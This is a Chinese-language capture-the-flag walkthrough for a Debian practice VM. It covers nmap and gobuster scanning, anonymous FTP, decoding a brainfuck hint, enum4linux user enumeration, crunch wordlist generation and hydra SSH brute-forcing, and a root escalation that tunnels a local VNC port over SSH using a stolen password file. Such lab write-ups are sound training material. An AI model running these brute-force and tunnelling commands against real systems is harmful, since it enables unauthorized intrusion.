描述
难度:中等
标记:2(用户和root)
枚举 Web应用程序 蛮力| 特权提升
格式:虚拟机(Virtualbox-OVA)
操作系统:Linux Debian 10(x64)
DHCP服务:已启用
目录
一、信息收集
1.nmap 端口扫描
nmap -A -T4 -v -p- 192.168.1.193
2.目录扫描
gobuster dir -u 192.168.1.193 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x txt git php
二、漏洞探测
1.匿名登入ftp。
ftp 192.168.1.193
anonymous #匿名用户
dir #查看目录
get milo.jpg #下载文件
close #结束与服务器的FTP会话
exit #结束与服务器的FTP会话并退出FTP环境
查看图片是一只狗。
2.一一访问web目录
http: //192.168.1.193/robots.txt
里面的目录都无法访问。
在文本末尾发现特殊编码 brainfuck:
++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>+++++++++++++++++.>>---.+++++++++++.------.-----.<<--.>>++++++++++++++++++.++.-----..-.+++.++.
在线解码:https://www.dcode.fr/brainfuck-language
访问 http:192.168.1.193/alfa-support,得到密码信息。
I have a problem with my password, I partially forgot it, I only remember that it is the name of my pet followed by 3 numerical digits. Could you reset my password?
翻译:我的密码有问题,我部分忘记了,我只记得是我宠物的名字后面跟着3个数字。你能帮我重置密码吗?
3.扫描用户名
enum4linux -a 192.168.1.193
得到一个本地用户 thomas。
三、漏洞利用
1.制作特定的密码字典
crunch 7 7 -t milo%%%>>npassword.txt
crunch使用方法:https://blog.csdn.net/weixin_44847002/article/details/106627562
2.ssh爆破
hydra -l thomas -P npassword.txt 192.168.1.193 ssh -s 65111
得到用户名密码:thomas/milo666
3.登入ssh
ssh thomas@192.168.1.193 -p 65111
得到第一个flag:
四、提权(ssh代理转发)
1. sudo -l , cat /etc/crontab , history , find / -perm -4000 2> /dev/null , 备份密码文件,都以失败告终,反过来回到开始的地方,在用户目录中有一个敏感文件.remote_secret
2. 查看开放端口
netstat -tplan
百度一下5901端口是vnc服务,vnc
同时进程中存在vncserver。
VNC介绍:
VNC (Virtual Network Console),即虚拟网络控制台,它是一款基于 UNIX 和 Linux 操作系统的优秀远程控制工具软件,
由著名的 AT&T 的欧洲研究实验室开发,远程控制能力强大,高效实用,并且免费开源。
VNC基本上是由两部分组成:一部分是客户端的应用程序(vncviewer);另外一部分是服务器端的应用程序(vncserver)。
在任何安装了客户端的应用程序(vncviewer)的计算机都能十分方便地与安装了服务器端的应用程序(vncserver)的计算机相互连接。
3. 提权思路
估计上述密码文件是用来登录vnc的,但是由于vncserver仅限本地登录,所以这里使用ssh做了socks5代理,在kali下利用vncview加载密码文件实现了root权限获取。
4.scp 将文件下载到本机当前目录。 scp用法:https://www.runoob.com/linux/linux-comm-scp.html
scp -P 65111 thomas@192.168.1.193:/home/thomas/.remote_secret ./
5.使用ssh做了tcp转发
ssh隧道穿透连接内网机器&端口映射: https://blog.csdn.net/weixin_40449300/article/details/90306229
ssh -p 65111 -L 5901:localhost:5901 thomas@192.168.1.193
#转发到远端:ssh -C -f -N -g -L 本地端口:目标IP:目标端口 用户名@目标IP
#将本地机(客户机)的某个端口转发到远端指定机器的指定端口。工作原理是这样的, 本地机器上分配了一个 socket 侦听 port 端口, 一旦这个端口上有了连接, 该连接就经过安全通道转发出去, 同时远程主机和 host 的 hostport 端口建立连接. 可以在配置文件中指定端口的转发. 只有 root 才能转发特权端口. IPv6 地址用另一种格式说明: port/host/hostport
6.利用vncview加载密码文件,通过tcp转发伪造成本地连接。
vncviewer -passwd .remote_secret localhost:5901
提权到root,得到第二个flag。
五、总结
- “++++[>+>+” brainfuck #解密:https://www.dcode.fr/brainfuck-language
- enum4linux -a 192.168.1.193 #用户名扫描
- crunch 7 7 -t milo%%%>> npassword.txt #制作7位数的密码字典,一个%代表一位数字。crunch使用方法。
- scp -P 65111 thomas@192.168.1.193:/home/thomas/.remote_secret ./ #将文件下载到本机当前目录,scp用法
- ssh -p 65111 -L 5901:localhost:5901 thomas@192.168.1.193 #ssh隧道代理tcp转发穿透内网机器
- vncviewer -passwd .remote_secret localhost:5901 #利用vncview加载密码文件,通过socks5代理伪造成本地连接。